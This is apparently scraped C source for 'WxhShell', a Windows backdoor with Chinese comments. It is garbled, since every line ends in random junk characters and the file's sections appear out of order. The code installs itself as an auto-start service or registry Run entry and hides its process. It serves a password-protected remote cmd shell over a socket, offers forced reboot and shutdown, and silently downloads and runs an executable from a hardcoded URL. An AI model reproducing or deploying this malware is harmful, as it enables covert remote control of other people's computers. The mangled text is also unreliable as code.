    if(Boot(SHUTDOWN)) 2F.;;Ab  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ADzhNf S  
    else { q?yVR3]M  
    closesocket(wsh); H*R"ntI?w  
    ExitThread(0); }($5k]]clP  
    } IEi^kJflU  
    break; uGGt\.$]s  
    } C}Cs8eUn  
  // 获取shell =UQ3HQD  
  case 's': { \}b%E'+_T  
    CmdShell(wsh); vvMT}-!  
    closesocket(wsh); !Ai@$tl[S  
    ExitThread(0); [9L:),&u  
    break; FW4<5~'  
  } W{+2/P  
  // 退出 3nQ`]5.Q w  
  case 'x': { #c!lS<z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $6 f3F?y7  
    CloseIt(wsh); bI1N@=  
    break; /([kh~a  
    } ;)*eo_tQ  
  // 离开 %tGO?JMkd  
  case 'q': { Bwxd&;E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \R_C&=  
    closesocket(wsh); Ti5-6%~&  
    WSACleanup(); r,p%U!S<hV  
    exit(1); ZY+qA  
    break; 6cXyJW  
        } oMa6(3T?E  
  } I\ob7X'Xu!  
  } l ymCH  
NXrlk  
  // 提示信息 W${Ue#w77  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^09,"<@k  
} &h/X ku&0  
  } a`>B Ly5o  
U5de@Y  
  return; DvvK^+-~  
} g2_"zDiw2  
onzxx4bax  
// shell模块句柄 f+!(k)GWd  
int CmdShell(SOCKET sock) k9!{IScq  
{ F JyT+  
STARTUPINFO si; q_58;Bv  
ZeroMemory(&si,sizeof(si)); (!WD1w   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nNn :-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kffcm/  
PROCESS_INFORMATION ProcessInfo; ~]2K ^bh8&  
char cmdline[]="cmd"; ~9@UjQ^)F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kxv1Hn"`{E  
  return 0; .ioEI sg  
} hwv/AnX~O  
 \4fQMG  
// 自身启动模式 XSLFPTDEc  
int StartFromService(void) rey!{3U  
{  b>ySv  
typedef struct z2GY:<s  
{ =Xr.'(U  
  DWORD ExitStatus; 1yhDrpm  
  DWORD PebBaseAddress; Dlvz )  
  DWORD AffinityMask; s$j,9uRr  
  DWORD BasePriority; |+9&rAg  
  ULONG UniqueProcessId; dy[X3jQB  
  ULONG InheritedFromUniqueProcessId; :V||c5B+  
}   PROCESS_BASIC_INFORMATION; d2$IH#~9B  
OneY_<*a<  
PROCNTQSIP NtQueryInformationProcess; Q=$2c[Uk  
J|73.&B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >hIu2jm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3bI9Zt#J%&  
es7=%!0  
  HANDLE             hProcess; nxFBID  
  PROCESS_BASIC_INFORMATION pbi; eHUOU>&P]  
kAUymds;O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f!X[c?Xy"  
  if(NULL == hInst ) return 0; ~P-mC@C  
CrTw@AW9)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p!%pP}I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G3T]`Atf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |[8Th4*n  
9\(| D#  
  if (!NtQueryInformationProcess) return 0; YoFxW5by  
z F;K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q"#J6@  
  if(!hProcess) return 0; fk-RV>yr  
X:{!n({r=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A04U /;  
q) KKvO  
  CloseHandle(hProcess); !&E-}}<  
W(p_.p"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jPkn[W# 6  
if(hProcess==NULL) return 0; 8z\xrY  
j?QDR  
HMODULE hMod; J'r^/  
char procName[255]; 8u]2xB=K  
unsigned long cbNeeded; F!K>Kz  
lyhiFkO iH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A=0'Ks  
 Vxt+]5X  
  CloseHandle(hProcess); (QB2T2x  
MolgwVd  
if(strstr(procName,"services")) return 1; // 以服务启动 )+Pus~w  
BMf@M  
  return 0; // 注册表启动 N'=gep0V@  
} fc>L K7M  
M',?u  
// 主模块 klhtKp_p  
int StartWxhshell(LPSTR lpCmdLine) F:DrX_O%  
{ ,/unhfs1q  
  SOCKET wsl; dAj$1Ke  
BOOL val=TRUE; Znv,9-  
  int port=0; I%Z  
  struct sockaddr_in door; 3Zh)]^  
lu/ (4ED  
  if(wscfg.ws_autoins) Install(); BJ(M2|VH  
OZ;*JR:  
port=atoi(lpCmdLine); Etm?'  
w4Z'K&d=  
if(port<=0) port=wscfg.ws_port; f%hEnZv  
poFg 1  
  WSADATA data; i@J ;G`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4B][S'f  
P!k{u^$L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5@W j>:w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kG*~ |ma  
  door.sin_family = AF_INET; NGWxN8P6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |wj?ed$ f  
  door.sin_port = htons(port); ~.lPEA %%  
h3@v+Z<}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ROZF)|l  
closesocket(wsl); w"&n?L  
return 1; mUx+Y]Ep  
} 63x?MY6  
'>C5-R:O  
  if(listen(wsl,2) == INVALID_SOCKET) { yJe>JK~)  
closesocket(wsl); {P#|zp4C{  
return 1; %BB%pC  
} ^D-/`d  
  Wxhshell(wsl); }f7j 8py  
  WSACleanup(); |)/aGZ+  
z,%$+)K  
return 0; QoH6  
t#eTV@-  
} !m?-!:  
d9|<@A  
// 以NT服务方式启动 G'aDb/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tcog'nAz  
{ y Fq&8 x<X  
DWORD   status = 0; =[jXe  
  DWORD   specificError = 0xfffffff; hqkz^!rp  
URbletSBQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?p8_AL'RS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >t_6B~x9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5rZ  
  serviceStatus.dwWin32ExitCode     = 0; t}tEvh  
  serviceStatus.dwServiceSpecificExitCode = 0; G?Hdq;  
  serviceStatus.dwCheckPoint       = 0; ~gRf:VXX=_  
  serviceStatus.dwWaitHint       = 0; 4)o  
h;NYdX5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @bP)406p  
  if (hServiceStatusHandle==0) return; i,9)\1R  
7EO_5/cY  
status = GetLastError(); PXNh&N  
  if (status!=NO_ERROR) WVvvI9  
{ (7=9++uU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %vi<Ase g  
    serviceStatus.dwCheckPoint       = 0; As<bL:>dE  
    serviceStatus.dwWaitHint       = 0; Jo23P.#<  
    serviceStatus.dwWin32ExitCode     = status; 1|-Dj|  
    serviceStatus.dwServiceSpecificExitCode = specificError; \=0Vi6!Mc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x{ WD;$J  
    return; "wh , Ue  
  } fPW@{~t  
"OnGE$   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -_eLf#3  
  serviceStatus.dwCheckPoint       = 0; $5Ff1{  
  serviceStatus.dwWaitHint       = 0; ))'<_nD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~zNAbaC+>t  
} XAL1|] S  
iTU5l5Uz  
// 处理NT服务事件,比如:启动、停止 fkNbS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e'D&8z_;  
{ I"7u2"@-8j  
switch(fdwControl) bhlG,NTP  
{  l"]}Ts#  
case SERVICE_CONTROL_STOP: P3 ^Y"Pv?  
  serviceStatus.dwWin32ExitCode = 0; w}cPs{Vi"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j]/RC(;?  
  serviceStatus.dwCheckPoint   = 0; fMyti$1~  
  serviceStatus.dwWaitHint     = 0; oIj#>1~c%  
  { ]}2ZttQ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '}bgLv  
  } ;cN{a&  
  return; >[=^_8M  
case SERVICE_CONTROL_PAUSE: "vE4E|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E\pL!c  
  break; \&gB)czEO  
case SERVICE_CONTROL_CONTINUE: HEc+;O1<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XFV!S#yEZ  
  break; ) M BQuiL  
case SERVICE_CONTROL_INTERROGATE: w %BL  
  break; M}v/tRI  
}; 54li^   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +pn N!:q  
} `(/w y  
W'+:'_{j:  
// 标准应用程序主函数 L<{i ,'M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oWo- j<  
{ naznayy  
_Qi&J.U>  
// 获取操作系统版本 2Ny"O.0h  
OsIsNt=GetOsVer(); 7,9=uk>0\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M,mvys$  
m<"WDU?y;  
  // 从命令行安装 Bad:n o\W  
  if(strpbrk(lpCmdLine,"iI")) Install(); `t'W2X  
+l{=  
  // 下载执行文件 VUR|OV%  
if(wscfg.ws_downexe) { Qe0lBR?H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uT7B#b7  
  WinExec(wscfg.ws_filenam,SW_HIDE); \<TXS)w]  
} h Pa_VrH  
I- >Ss},U  
if(!OsIsNt) { qfRH5)k  
// 如果时win9x,隐藏进程并且设置为注册表启动 5 -RsnF  
HideProc(); 6h,(wo3Y  
StartWxhshell(lpCmdLine); 56-dD5{hxR  
} xCl1g4N  
else ?[Q3q4  
  if(StartFromService())  l(tOe  
  // 以服务方式启动 Z+. '>  
  StartServiceCtrlDispatcher(DispatchTable); #O} ,`[<  
else 0-yp,G  
  // 普通方式启动 .j<]mUY  
  StartWxhshell(lpCmdLine); 3H6lBF  
Bj-: #P@  
return 0; _k ~KZ;l  
} l &5QZI0I  
b:]V`uF?  
A='N=^Pm  
y^v6AM  
=========================================== 90*5 5\>{  
Y U5(g^<  
J!pygn O  
rb+j*5Es  
=wOm}V8 N&  
OGg>#vj,s  
" po Vx8oO8  
bU:EqW\(^  
#include <stdio.h> -^h' >.  
#include <string.h> fnX`Q[b4\A  
#include <windows.h> 6'G6<8 >-  
#include <winsock2.h> Jx](G>F4f1  
#include <winsvc.h> yS(fILV  
#include <urlmon.h> K<ft2anY5  
+kO!Xc%P&  
#pragma comment (lib, "Ws2_32.lib") (UvM@]B  
#pragma comment (lib, "urlmon.lib") q[W 0 N >  
Q&=w_Wc  
#define MAX_USER   100 // 最大客户端连接数 jun_QiU:2  
#define BUF_SOCK   200 // sock buffer _Wq  
#define KEY_BUFF   255 // 输入 buffer cacr=iX  
bITPQ7+  
#define REBOOT     0   // 重启 KZ ;k)O.Ov  
#define SHUTDOWN   1   // 关机 ,J^b0@S  
"haL  
#define DEF_PORT   5000 // 监听端口 dj7hx"BI  
:LRYYw  
#define REG_LEN     16   // 注册表键长度  SVs_dG$  
#define SVC_LEN     80   // NT服务名长度 6NM:DI\%  
p#?7 w  
// 从dll定义API 2Mvrey)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :f}9($  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,<tX%n`v=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n; +LH9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hmd] FC,_  
C=)A6 ;=se  
// wxhshell配置信息 Xr$J9*Jk-  
struct WSCFG { eWtZ]kB  
  int ws_port;         // 监听端口 -vR5BMy=  
  char ws_passstr[REG_LEN]; // 口令 '\ey<}?5V  
  int ws_autoins;       // 安装标记, 1=yes 0=no A1D^a,  
  char ws_regname[REG_LEN]; // 注册表键名 %gyLCTw  
  char ws_svcname[REG_LEN]; // 服务名 9~mh@Kgv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JedmaY06=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L> 9V&\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8WbgSY`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f'-i o<.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Dhw(#{N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UU mTOJr  
2w_WAdi  
}; 8I8 F/47x  
$.PuK~}  
// default Wxhshell configuration 'y2nN=CN  
struct WSCFG wscfg={DEF_PORT, %g$V\zmU  
    "xuhuanlingzhe", /VS [pXXT|  
    1, m~P CB_ifW  
    "Wxhshell", V4P; 5[  
    "Wxhshell", Gh}LlX!w  
            "WxhShell Service", */|lJm'R  
    "Wrsky Windows CmdShell Service", 5JCG2jqx0  
    "Please Input Your Password: ", y8L D7<1u  
  1, wrbLDod /  
  "http://www.wrsky.com/wxhshell.exe", PMh^(j[  
  "Wxhshell.exe" m-*i>4;  
    }; ];a=Pn-:}G  
l@H  
// 消息定义模块 @}OL9Ch  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KJ=6n%6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^xHTWg%9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v'qG26  
char *msg_ws_ext="\n\rExit."; {7;8#.S72  
char *msg_ws_end="\n\rQuit."; UXugRk%d  
char *msg_ws_boot="\n\rReboot..."; V_RTI.3p  
char *msg_ws_poff="\n\rShutdown..."; dC $Em@Nb  
char *msg_ws_down="\n\rSave to "; d`nVc50  
XZJ+h,f  
char *msg_ws_err="\n\rErr!"; <2|O:G  
char *msg_ws_ok="\n\rOK!"; OK6] e3UO  
;04Ldb1{|3  
char ExeFile[MAX_PATH]; e8]\U/  
int nUser = 0; 8V)^R(\;  
HANDLE handles[MAX_USER]; r>"   
int OsIsNt; *x])Y~oQ  
?^$MRa:D  
SERVICE_STATUS       serviceStatus; &nkW1Ner9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'wI"Bo6e  
ll6wpV0m  
// 函数声明 B}:(za&  
int Install(void); ]2'na?q9  
int Uninstall(void); x&9hI  
int DownloadFile(char *sURL, SOCKET wsh); C\nhqkn  
int Boot(int flag); 6morum  
void HideProc(void); 2f:Eof(B  
int GetOsVer(void); }i`PGx  
int Wxhshell(SOCKET wsl); ?~;:jz|9<'  
void TalkWithClient(void *cs); ]dk8lZ;bo  
int CmdShell(SOCKET sock); YZ7|K<   
int StartFromService(void); 8` @G;o  
int StartWxhshell(LPSTR lpCmdLine); W4e5Rb4~f"  
RIE5KCrGB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iz?tu: \v&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /yF QeE  
2Sp=rI  
// 数据结构和表定义 pN9A{v(  
SERVICE_TABLE_ENTRY DispatchTable[] = %8Dz o  
{ a{J,~2>  
{wscfg.ws_svcname, NTServiceMain}, Eam  
{NULL, NULL} T2Y,U {  
}; gO,25::")  
. I'o  
// 自我安装 2 fS[J'-o  
int Install(void)  eDJ fU  
{ ~aOuG5 XK  
  char svExeFile[MAX_PATH]; '+vA\(K  
  HKEY key; w@ c87;c  
  strcpy(svExeFile,ExeFile); |- rI@2`  
,^WJm?R  
// 如果是win9x系统,修改注册表设为自启动 K+8-9$w6  
if(!OsIsNt) { 9Xl5@%uz?z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & jczO-R^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +|@rD/I6  
  RegCloseKey(key); l)w Hl%p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J.dLPKU;-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CI :`<PZ\-  
  RegCloseKey(key); t" 7yNs(I  
  return 0; ;VNMD 6H  
    } OhmQ,  
  } 199]WHc  
} 'GoZqiYT  
else { nJ"YIT1K]p  
)aao[_ZS  
// 如果是NT以上系统,安装为系统服务 VX+jadYdq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MJCzo |w  
if (schSCManager!=0) hL;8pE8  
{ ""h)LUrl  
  SC_HANDLE schService = CreateService )a3J9a;ZS0  
  ( ,H2D  
  schSCManager, f{i8w!O"~  
  wscfg.ws_svcname, UH>F|3"d  
  wscfg.ws_svcdisp, a/U2xq{x  
  SERVICE_ALL_ACCESS, PN<C=gAe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aKlUX  
  SERVICE_AUTO_START, ;?~$h-9)  
  SERVICE_ERROR_NORMAL, |*Yf.-  
  svExeFile, LIVU^Os.  
  NULL, 1>Dl\czn  
  NULL, 5"]~oPK  
  NULL, P"?FnTbv[  
  NULL, 7Wa?$6d  
  NULL pge++Di  
  ); ?@t  d  
  if (schService!=0) pD2<fP_  
  { ww{_c]My  
  CloseServiceHandle(schService); W$o2 7f  
  CloseServiceHandle(schSCManager); NU\ 5{N<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #9 fWAF  
  strcat(svExeFile,wscfg.ws_svcname); |R@~-Ht  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~h=X8-D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ',4x$qe  
  RegCloseKey(key); d:q +  
  return 0; Rqy0Q8K<  
    } ;HBC Ue<_  
  } R@yyur~'_(  
  CloseServiceHandle(schSCManager); {d%&zvJnD  
} 9W>Y#V~|v!  
} -l-E_6|/W  
u!U"N*Y"  
return 1; -MugnB6  
} u=NS sTP&  
j9U%7u]-k  
// 自我卸载 9Sq%s&  
int Uninstall(void) w[-Fm+A>  
{ <U9/InN0[  
  HKEY key; EQIo5  
{"H2 :-t<  
if(!OsIsNt) { 1?Aga,~k:a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ph|ZG6:  
  RegDeleteValue(key,wscfg.ws_regname); Ei3zBS?J)  
  RegCloseKey(key); ia{c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vN OH&ja-s  
  RegDeleteValue(key,wscfg.ws_regname); b*mKei  
  RegCloseKey(key); >x@P|\  
  return 0; lE ;jCN  
  } XC3Kh^  
} '[(nmx'yVJ  
} M4LktR-[  
else { Gy Qm/I  
}Y1>(U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w_4]xgS:  
if (schSCManager!=0) =AEz9d ciS  
{ eL.7#SIr}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NO K/<_/  
  if (schService!=0) HFQR ;9]  
  { rJ'I>Q~x6  
  if(DeleteService(schService)!=0) { o:dR5v  
  CloseServiceHandle(schService); i=32KI(%  
  CloseServiceHandle(schSCManager); V' 2EPYB  
  return 0; +1Ph<zq"  
  } Lx U={Y0  
  CloseServiceHandle(schService); 5[9 bWB{  
  } Y ?r po  
  CloseServiceHandle(schSCManager); v)kEyX'K2d  
} aSYs_?&.  
} zMK](o1Vj  
tNmy& nsA  
return 1; ! sA_?2$  
} yWHiw<  
Zx?b<"k  
// 从指定url下载文件 6ZqgY1  
int DownloadFile(char *sURL, SOCKET wsh) kDYN>``biP  
{ W;Jx<-#1  
  HRESULT hr; `wTlyS3[  
char seps[]= "/"; & Rz, J]  
char *token; 2o[IHO]  
char *file; V5GkP1L  
char myURL[MAX_PATH]; qkP/Nl. u  
char myFILE[MAX_PATH]; /WnE:3G  
]y)Q!J )Q  
strcpy(myURL,sURL); baoD(0d  
  token=strtok(myURL,seps); ]`w}+B'/  
  while(token!=NULL) \Z-2leL)j  
  { 2#/p|$;Ec'  
    file=token; 2$zU&p7sV  
  token=strtok(NULL,seps); Q\J,}1<`6  
  } }yEoEI`  
w.+Eyu_I\  
GetCurrentDirectory(MAX_PATH,myFILE); 7yiJ1K<bIt  
strcat(myFILE, "\\"); m^\TUj  
strcat(myFILE, file); 4`2$_T$ F  
  send(wsh,myFILE,strlen(myFILE),0); ;ggy5?>Qu  
send(wsh,"...",3,0); x@cN3O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K,}w]b  
  if(hr==S_OK) ~%|G+m>  
return 0; xQlT%X;'  
else H.J5i~s  
return 1; ?&h3P8  
=ziy`#fm,  
} Oz:ZQ M  
yNJAWM7  
// 系统电源模块 a~^Srj!}x  
int Boot(int flag)  D\T!4q'Q  
{ X`\:_|  
  HANDLE hToken; 9g?xlue#?  
  TOKEN_PRIVILEGES tkp; %W|DJ\l8"  
%bX0 mN  
  if(OsIsNt) { "t&{yBQ0u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KLt %[$CTi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  i j&p4  
    tkp.PrivilegeCount = 1;  td(M#a-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VKLU0*2R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~j,TVY  
if(flag==REBOOT) { C'9 1d7E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +3bfD  
  return 0; J/4y|8T/y  
} Wm6dQQ;Bj  
else { )hL^+Nn bR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !J.rM5K  
  return 0; d0C8*ifFO  
} .~dEUt/|)  
  } :+kUkb-/  
  else { o*7yax  
if(flag==REBOOT) { i1/}XV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +6%7C C6  
  return 0; l6B.6 '4)w  
} T~Yg5J  
else { W<gD6+=8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .{N\<01  
  return 0; )Ul&1UYA  
} ye r> x  
} .g-3e"@  
L^KdMMz;  
return 1; $k(9 U\y-  
} ( ji_o^  
!5;t#4=  
// win9x进程隐藏模块 I>m;G `  
void HideProc(void) PbUI!Xqe`  
{ #DaP=k"XV  
!=M/j}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6bL"LM`s  
  if ( hKernel != NULL ) lgG8!Ja  
  { .D@/y uV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !yCl(XT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q}uG/HI  
    FreeLibrary(hKernel); O`[]xs  
  } *#ompm  
ucFw,sB1  
return; f sX;Nj]  
} 0e9A+&r  
A1!:BC  
// 获取操作系统版本 #6FaIq92V  
int GetOsVer(void) ECdfLn*c  
{ QBjY&(vY  
  OSVERSIONINFO winfo; ;^.9#B,<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WB"$u2{|i  
  GetVersionEx(&winfo); j];1"50?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n^Au*'  
  return 1; :+pPr Gj"  
  else `]yKM0 Z  
  return 0; qi[(*bFK7  
} 'Fzuc^G(d  
JE%i-UVH+;  
// 客户端句柄模块 l_sg)Vr/b  
int Wxhshell(SOCKET wsl) v=bv@c  
{ bG1 ofsU  
  SOCKET wsh; d:$G|<uA  
  struct sockaddr_in client; zuj;T,R;  
  DWORD myID; I! ITM<Z$l  
&.*T\3UO  
  while(nUser<MAX_USER) <\xQ7|e  
{ @{de$ ODu  
  int nSize=sizeof(client); \1khyF'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]*h&hsS 0  
  if(wsh==INVALID_SOCKET) return 1; |x[$3R1@  
r2)pAiTM*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  bn|DRy  
if(handles[nUser]==0) [b pwg&Oo  
  closesocket(wsh); pgfu+K7?w  
else "] 9_Fv  
  nUser++; D99N#36PU  
  } Bzm. X=U:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8I {56$  
H!^C2  
  return 0; u> In(7\  
} ^"/Dih\_  
4}PeP^pj  
// 关闭 socket K+t];(  
void CloseIt(SOCKET wsh) 0 wYiu  
{ n%8#?GC`  
closesocket(wsh); V'$oTZ`  
nUser--; ^8U6"O6|X  
ExitThread(0); ma`w\8 a  
} ;C6O3@Q  
IM2/(N.%  
// 客户端请求句柄 t"#lnG!G  
void TalkWithClient(void *cs) i&B?4J)  
{ .k|-Ks|d|  
y#GCtkhi  
  SOCKET wsh=(SOCKET)cs; )[RpZpd`*  
  char pwd[SVC_LEN]; \j/}rzo]  
  char cmd[KEY_BUFF]; )uu wwz  
char chr[1]; xP{m9_Qj  
int i,j; KXDz'9_  
JiUT\y  
  while (nUser < MAX_USER) { dnLo(<{<U  
N+[}Gb"8q  
if(wscfg.ws_passstr) { jFS 'I*1+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); se"um5N-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (h%|;9tF  
  //ZeroMemory(pwd,KEY_BUFF); *%]+sU  
      i=0; MgSp.<!  
  while(i<SVC_LEN) { xQ_:]\EZ  
S@;&U1@h  
  // 设置超时 GZ}*r{  
  fd_set FdRead; vJzxP y|  
  struct timeval TimeOut; P|yGx)'^P  
  FD_ZERO(&FdRead); Z@8MhJ  
  FD_SET(wsh,&FdRead); Ty(yh(oYF`  
  TimeOut.tv_sec=8; W=!F8g|Qz  
  TimeOut.tv_usec=0; W=(MsuirO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~m3V]v(q7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @ICejB<  
=k_XKxd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `mWQWx$V!  
  pwd=chr[0]; o7hH9iY  
  if(chr[0]==0xd || chr[0]==0xa) { '&1  
  pwd=0; u>j5`OXo  
  break; DPR;$yV  
  } z;``g"dSw  
  i++; [Ja(ArO3|[  
    } ,$ho2R),Fn  
MJpP!a^Q  
  // 如果是非法用户,关闭 socket ye56-T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kn3YI9  
} $&c<T4$d  
R'jUS7]Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o$^O<zL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )jp{*?^\  
h,Y{t?Of  
while(1) { k,yc>3P;U  
U`HXsq p}  
  ZeroMemory(cmd,KEY_BUFF); /[p?_EX@  
#%9oQ6nO  
      // 自动支持客户端 telnet标准   *tIdp`xT/T  
  j=0; s,{RP0|  
  while(j<KEY_BUFF) { {IF}d*:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Tpe,juG_  
  cmd[j]=chr[0]; n$}R/*  
  if(chr[0]==0xa || chr[0]==0xd) { I 0x`H)DA  
  cmd[j]=0; \a9D[wk;@  
  break; OcyiL)tv5  
  } qBf wN1  
  j++; $4#=#aKW.  
    } YqK+F=0  
YMd&To0s  
  // 下载文件 (xjoRbU*  
  if(strstr(cmd,"http://")) { .Bm^3A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #VP-T; Ahe  
  if(DownloadFile(cmd,wsh)) 8ItCfbqa6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?[a7l:3-[  
  else |>jqH @\P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {7j6$.7J$&  
  } S|O%h}AH;  
  else { *Xf[b)FR  
QSl:=Q'  
